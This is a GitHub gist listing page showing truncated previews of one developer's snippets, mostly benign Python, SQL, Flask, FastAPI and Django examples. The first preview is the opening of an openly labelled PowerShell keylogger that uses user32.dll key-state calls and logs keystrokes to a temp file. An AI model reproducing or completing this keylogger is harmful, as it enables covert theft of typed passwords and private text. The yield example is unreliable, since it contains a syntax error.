Skip to content

Instantly share code, notes, and snippets.

View carloocchiena's full-sized avatar

Carlo Occhiena carloocchiena

View GitHub Profile
@carloocchiena
carloocchiena / powershell_keylogger.ps1
Last active September 9, 2021 11:20
PowerShell Keylogger
# copy and paste this code in a windows power shell sesh. CTRL+C to display pressed keys in a notepad.
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
@carloocchiena
carloocchiena / yield_use_case.py
Last active April 7, 2021 13:13
Python return vs yield >> function with multiple outputs
def my_func:
for num in range(50):
yield num ** num
for values in my_func():
print (values)
all_values = list(my_func())
CREATE TABLE IF NOT EXISTS album (
`ID` INT PRI,
`ARTIST` VARCHAR(30),
`ALBUM` VARCHAR(30),
`GENRE` VARCHAR(30),
PRIMARY KEY (ID)
);
INSERT INTO album VALUES
(1,'Pantera','Official Live','Trash Metal'),
(2,'Sepultura','Roots','Death Metal'),
import sqlite3
import flask
from flask import request, jsonify
# iniating Flask application object
app = flask.Flask(__name__)
app.config["DEBUG"] = True
# defining our SQLlite object
DB = "music.db"
@carloocchiena
carloocchiena / machine_learning_python_aziona.py
Last active November 3, 2021 21:07
Code Repo for Aziona article about ML with Python
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 30 20:54:37 2019
Introduction to machine learning
"""
from sklearn import tree
from sklearn.feature_extraction.text import CountVectorizer
OK_txt = ["ti voglio bene", "ti amo molto", "mi piace tanto", "molto bello"]
@carloocchiena
carloocchiena / django_cheatsheet.py
Last active October 30, 2022 01:34
A simple list of django CLI commands you may need whenever starting up a new project
# Django Cheatsheet
# start a new Python env (with Anaconda)
`conda create -n my_env pip python=3.8.8` # insert your fav python version here
# activate Python Env
`conda activate my_env`
# install Django
`pip install django`
# Play it live on https://replit.com/@carlo_/wordletest#main.py
import random
from collections import Counter
from english_words import english_words_lower_alpha_set as words
words = list(words)
SECRET = words[random.choice(range(len(words)))]
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from typing import Optional
import uvicorn
# instantiate our FastApi application
app = FastAPI()
# initiate our test dataset
videogames = [
[MASTER]
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code.
extension-pkg-allow-list=
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
# TSP with heuristic dynamic programming
# Solution is based on "always picking the shortest route available" on the matrix
from itertools import permutations
def travel_salesman_problem(graph: list, path_sum: int = 0) -> int:
vertex = []
min_path = []